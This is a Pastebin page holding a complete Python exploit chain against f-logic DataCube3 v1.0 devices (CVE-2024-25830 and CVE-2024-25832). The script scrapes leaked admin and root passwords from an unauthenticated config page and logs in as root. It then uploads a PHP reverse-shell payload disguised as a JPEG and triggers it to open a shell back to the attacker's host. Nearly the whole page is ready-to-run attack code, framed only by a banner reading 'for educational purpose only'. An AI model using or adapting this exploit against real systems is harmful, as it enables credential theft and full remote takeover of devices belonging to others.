Advertisement
FlyFar

DataCube3 v1.0 - Unrestricted file upload 'RCE' - CVE-2024-25830 + CVE-2024-25832

Mar 12th, 2024
1,057
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.05 KB | Cybersecurity | 0 0
  1. # Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'
  2. # Date: 7/28/2022
  3. # Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)
  4. # Vendor Homepage: https://www.f-logic.jp
  5. # Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf
  6. # Version: Ver1.0
  7. # Tested on: DataCube3 version 1.0 (Ubuntu)
  8. # CVE : CVE-2024-25830 + CVE-2024-25832
  9.  
  10. # Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload
  11.  
  12. from __future__ import print_function, unicode_literals
  13. from bs4 import BeautifulSoup
  14. import argparse
  15. import requests
  16. import json
  17. import urllib3
  18. import re
  19. urllib3.disable_warnings()
  20.  
  21. def banner():
  22.   dataCube3Logo = """
  23.        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
  24.      ▒▒▒▒▒▒▒▒██        DataCube3   Ver1.0      █F-logic▓▓
  25.      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
  26.      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
  27.      ▒▒▒▒▒▒▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
  28.      ▒▒▒▒▒▒▒▒██                                ██▓▓████▓▓
  29.      ▒▒▒▒▒▒▒▒██        ██             ██       ██▓▓████▓▓
  30.      ▒▒▒▒▒▒▒▒██        █████████████████       ██▓▓▓▓▓▓▓▓
  31.        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓                                      
  32.                                                                                
  33. \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mDataCube3 exploit chain reverse shell\033[1;m                                                
  34.                FOR EDUCATIONAL PURPOSE ONLY.  
  35.  """
  36.   return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))
  37.  
  38.  
  39. def extractRootPwd(RHOST, RPORT, protocol):
  40.   url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  41.   try:
  42.     response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
  43.     if response.status_code != 302:
  44.       print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
  45.       exit()
  46.     soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
  47.     scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
  48.     rawLeakedData = re.findall('configData:.*,', scriptTag)[0]
  49.     jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))
  50.     adminPassword = jsonLeakedData[12]['value']
  51.     rootPassword = jsonLeakedData[14]['value']
  52.     print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))
  53.     return rootPassword
  54.   except:
  55.     print('[ERROR] Can\'t grab the DataCube3 version...')
  56.  
  57.  
  58. def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):
  59.   print('[INFO] Generating DataCube3 auth cookie ...')
  60.   url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  61.   data = {
  62.     'user_id': 'root',
  63.     'user_pw': rootPassword,
  64.     'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
  65.   }
  66.   try:
  67.     response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
  68.     if response.status_code != 302:
  69.       print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
  70.       exit()
  71.     authCookie = response.cookies.get_dict()
  72.     print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))  
  73.     return authCookie
  74.   except:
  75.     print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')
  76.  
  77.  
  78. def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
  79.   print('[INFO] Extracting Accesstime ...')
  80.   url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  81.   try:
  82.     response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
  83.     if response.status_code != 302:
  84.       print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
  85.       exit()
  86.     soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
  87.     accessTime = soup.find('input', {'name': 'accesstime'}).get('value')
  88.     print('[INFO] AccessTime value: {}'.format(accessTime))
  89.     return accessTime
  90.   except:
  91.     print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')
  92.  
  93.  
  94. def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):
  95.   print('[INFO] Injecting PHP reverse shell script ...')
  96.   filename='rvs.php'
  97.   payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)
  98.  
  99.   data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)
  100.  
  101.   headers = {
  102.       'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'
  103.   }
  104.   url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  105.   try:
  106.     response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
  107.     if response.status_code != 302:
  108.         print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
  109.         exit()
  110.     shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)
  111.     print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))
  112.     return shellURL
  113.   except:
  114.     print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')
  115.  
  116.  
  117. def execReverseShell(shellURL):
  118.   print('[INFO] Executing reverse shell...')
  119.   try:
  120.     response = requests.get(shellURL, allow_redirects=False, verify=False)
  121.     print('[INFO] Reverse shell successfully executed.')
  122.     return
  123.   except Exception as e:
  124.       print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')
  125.       return False
  126.  
  127.  
  128. def main():
  129.   banner()
  130.   args = parser.parse_args()
  131.   protocol = 'https' if args.RPORT == 443 else 'http'
  132.   rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)
  133.   authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)
  134.   accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)
  135.   shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)
  136.   execReverseShell(shellURL)
  137.  
  138.  
  139. if __name__ == '__main__':
  140.   parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)
  141.   parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)
  142.   parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)
  143.   parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
  144.   parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
  145.   main()
  146.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement